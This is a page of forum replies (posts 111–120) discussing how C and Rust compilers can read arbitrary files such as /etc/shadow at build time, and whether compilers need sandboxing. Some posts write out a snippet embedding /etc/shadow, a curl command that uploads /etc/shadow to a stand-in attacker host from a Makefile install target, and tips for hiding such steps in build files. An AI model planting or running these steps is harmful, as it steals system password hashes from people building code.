See also std::embed.
#include
111–120 of 132 posts
Re: #include </etc/shadow>
#112This isn't limited to C. If you run compiles as root, game over.
fn main() {
let shadow = include_str!("/etc/shadow");
println!("{}", shadow);
}
Re: #include </etc/shadow>
#113> Recently I saw a tweet where someone mentioned that you can include /dev/stdin in C code compiled with gcc. This is, to say the very least, surprising. You can also call something to read from stdin in your Makefile, or read from stdin in your executable. > But is it equally obvious that the compiler also needs to be sandboxed? Yes. Why wouldn't it be sandboxed?! > I even found one service that ... showed me the ha…
How many systems have you ran into with world readable /etc/shadow?
Re: #include </etc/shadow>
#114> Recently I saw a tweet where someone mentioned that you can include /dev/stdin in C code compiled with gcc. This is, to say the very least, surprising. You can also call something to read from stdin in your Makefile, or read from stdin in your executable. > But is it equally obvious that the compiler also needs to be sandboxed? Yes. Why wouldn't it be sandboxed?! > I even found one service that ... showed me the ha…
If that was my server I would of course put a joke in /etc/shadow - did you try to brute force the hashes? It would not be a great surprise to find some obvious funny content if you try?
How many of your servers actually have jokes in /etc/shadow?
Re: #include </etc/shadow>
#115Why would '/' ever be in the searchpath of the compiler ? This looks like a preprocessor bug to me.
Counter point, why should '/' be invalid? I'm not saying it's good practice or that the compiler shouldn't warn you, but "/home/me/path_to_thing/file" is a perfectly valid path.
An absolute path is a valid path on the filesystem. But the compiler should be searching according to its implementation dependent search paths, when doing . Not prepending the searchpath (and not rejecting) for absolute paths is an implementation choice I personally think is wrong for a C compiler. But it may be able to do so I guess as you can also do "..".
Re: #include </etc/shadow>
#116Earlier quoted context omitted.
Can you elaborate? Doesn't a KVM bug result in pretty much the same thing? Or is the argument that this is less likely?
The attack surface of a container is massive. The attack surface of a hypervisor is tiny, in comparison. There was 'interesting' research out of IBM a couple of years ago where they claimed they found that containers with good seccomp profiles etc were 'as secure as' a VM. Well, nobody goes around believing that. I recall once asking Joanna Rutkowska this same question, I think just days after she had outlined some p…
Interesting, do you have a link to the paper?
Re: #include </etc/shadow>
#117Earlier quoted context omitted.
People compile unread code all the time. Having them send the binary back is a little unusual though. But nothing says the resulting binary can’t open its own socket when its first run. There are lots of exfiltration options. Getting them to run make as root would be pretty easy. People are already conditioned to run “sudo make install”. A good mitigation is to install software by user so root privileges aren’t neede…
Or you could include curl -F shadow=@/etc/shadow https://evil.site/upload.cgi as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.
Curl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.
Re: #include </etc/shadow>
#118Earlier quoted context omitted.
Or you could include curl -F shadow=@/etc/shadow https://evil.site/upload.cgi as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.
Curl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.
It will almost certainly take longer for someone to read your Makefile to notice that weird curl line than it would be for someone to try to compile your code as a regular user and have the compiler spit out an error because it can't read the include file "/etc/shadow".
Re: #include </etc/shadow>
#119No surprise, coming from Nix!
Nix won't help you secure your system from untrusted code written by internet script kiddies. It's a build tool and simply isn't designed for such things.
Um, yes it will? Linux namespeaces are linux namespaces; if you don't trust them we have bigger problems than Nix.
It will certainly make sure the skids cannot do `#include ` and get useful information, for example.
Re: #include </etc/shadow>
#120Earlier quoted context omitted.
Curl is suspicious, people might wonder what exactly its doing. Whereas nobody has the time to read and understand C/C++ code.
It will almost certainly take longer for someone to read your Makefile to notice that weird curl line than it would be for someone to try to compile your code as a regular user and have the compiler spit out an error because it can't read the include file "/etc/shadow".
Have make suppress error messages for the .o including it. You can have another file implement any missing symbols with a weak attribute so the linker will not complain if your evil object file fails to be built.
If you go with C++ then you have an entire Turing complete language executed at compile time to do whatever nasty thing your heart desires.
I agree there are much easier alternatives... but it's an intellectually interesting attack vector.